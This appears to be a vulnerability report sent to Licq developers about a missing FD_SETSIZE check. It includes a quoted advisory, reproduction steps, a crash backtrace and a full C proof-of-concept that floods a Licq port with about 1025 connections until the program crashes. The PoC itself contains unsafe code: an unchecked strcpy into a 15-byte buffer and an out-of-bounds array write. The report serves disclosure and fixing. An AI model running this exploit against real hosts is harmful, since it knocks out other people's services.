Hello.
Licq has a vulnerability and possible security hole. The problem is
described here http://securityvulns.ru/docs7669.html.
quoting from bugtraq
[... in case of licq there is no check for socket() number to be below
FD_SETSIZE and it leads to potentially exploitable situation very
similar to off-by-one overflow in icqd-filetransfer.cpp, where one
(easy) of few (harder) bits on the stack may be controlled by attacker,
in this situation:
void *FileTransferManager_tep(void *arg)
{
CFileTransferManager *ftman = (CFileTransferManager *)arg;
fd_set f_recv, f_send;
....
nSocketsAvailable = select(l, &f_recv, &f_send, NULL, tv);
attacker can partially control ftman pointer (and may be even saved
ebp/eip), code execution is not something absolutely impossible.]
--------------------------------
HOW TO REPRODUCE:
compile the attached expolit.
Run licq and discover which port is licq listening on:
lsof |grep licq |grep LISTEN
licq 29181 lmichnovic 11u IPv4 4595400
TCP *:24500 (LISTEN)
run compiled exploit:
./a.out 127.0.0.1 24500
(the last number is the port number)
You have to wait till approx 1020 sockets are opened and then licq
crashes (tested on licq from svn 20080410):
Licq Segmentation Violation Detected.
licq(licq_handle_sigabrt+0x2c5) [0x4b0ab5]
/lib64/libc.so.6 [0x2b58b791abd0]
/lib64/libc.so.6(gsignal+0x35) [0x2b58b791ab45]
/lib64/libc.so.6(abort+0x110) [0x2b58b791c0e0]
licq [0x4b0d4a]
/lib64/libc.so.6 [0x2b58b791abd0]
licq(_ZN10CSocketSet3SetEi+0x39) [0x4599f9]
licq(_Z18MonitorSockets_tepPv+0x506) [0x4850a6]
/lib64/libpthread.so.0 [0x2b58b6926020]
/lib64/libc.so.6(clone+0x6d) [0x2b58b79aef8d]
Attempting to generate core file.
*** glibc detected *** licq: free(): invalid pointer: 0x000000000080b790 ***
======= Backtrace: =========
/lib64/libc.so.6[0x2b58b795821d]
/lib64/libc.so.6(cfree+0x76)[0x2b58b7959f76]
licq(_ZN10CPluginLog8ClearLogEv+0x34)[0x49c174]
/usr/lib64/licq/licq_qt-gui.so(_ZN12CQtLogWindow8slot_logEi+0x95)[0x2b58b7f684c5]
/usr/lib64/licq/licq_qt-gui.so(_ZN12CQtLogWindow9qt_invokeEiP8QUObject+0x6b)[0x2b58b7f6865b]
/usr/lib/qt3/lib64/libqt-mt.so.3(_ZN7QObject15activate_signalEP15QConnectionListP8QUObject+0x14c)[0x2b58b87dfe9c]
/usr/lib/qt3/lib64/libqt-mt.so.3(_ZN7QObject15activate_signalEii+0x134)[0x2b58b87e0554]
/usr/lib/qt3/lib64/libqt-mt.so.3(_ZN15QSocketNotifier5eventEP6QEvent+0x3b)[0x2b58b87f9f7b]
/usr/lib/qt3/lib64/libqt-mt.so.3(_ZN12QApplication14internalNotifyEP7QObjectP6QEvent+0xcd)[0x2b58b878970d]
/usr/lib/qt3/lib64/libqt-mt.so.3(_ZN12QApplication6notifyEP7QObjectP6QEvent+0x98)[0x2b58b878a428]
/usr/lib/qt3/lib64/libqt-mt.so.3(_ZN10QEventLoop23activateSocketNotifiersEv+0xe3)[0x2b58b877f4d3]
/usr/lib/qt3/lib64/libqt-mt.so.3(_ZN10QEventLoop13processEventsEj+0x644)[0x2b58b873f884]
Canceled
------------------------
Regards Ladislav.
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netinet/in.h>
#include <arpa/inet.h>
// change to suit your needs
#define MAX 1025
int fds[MAX];
int main(int argc, char *argv[])
{
int port,a, err;
char host[15];
struct sockaddr_in victim;
if (argc!=3)
{
printf("usage: %s <ip> <port>\n",argv[0]);
exit(1);
}
port=atoi(argv[2]);
strcpy(host,argv[1]);
printf("ip=%s\n",host);
for (a=1;a<=MAX;a++)
{
fds[a]=socket(PF_INET,SOCK_STREAM,0);
victim.sin_family= AF_INET;
victim.sin_port=htons(port);
inet_aton(host,&victim.sin_addr);
err =connect(fds[a],&victim,sizeof(victim));
if ( 0 == err )
{
printf("opening another socket: %d sockets already opened \n", a);
}
else {
printf("Can't open a socket. Have entered correct port number?\n");
}
}
printf("done!\n");
return 0;
}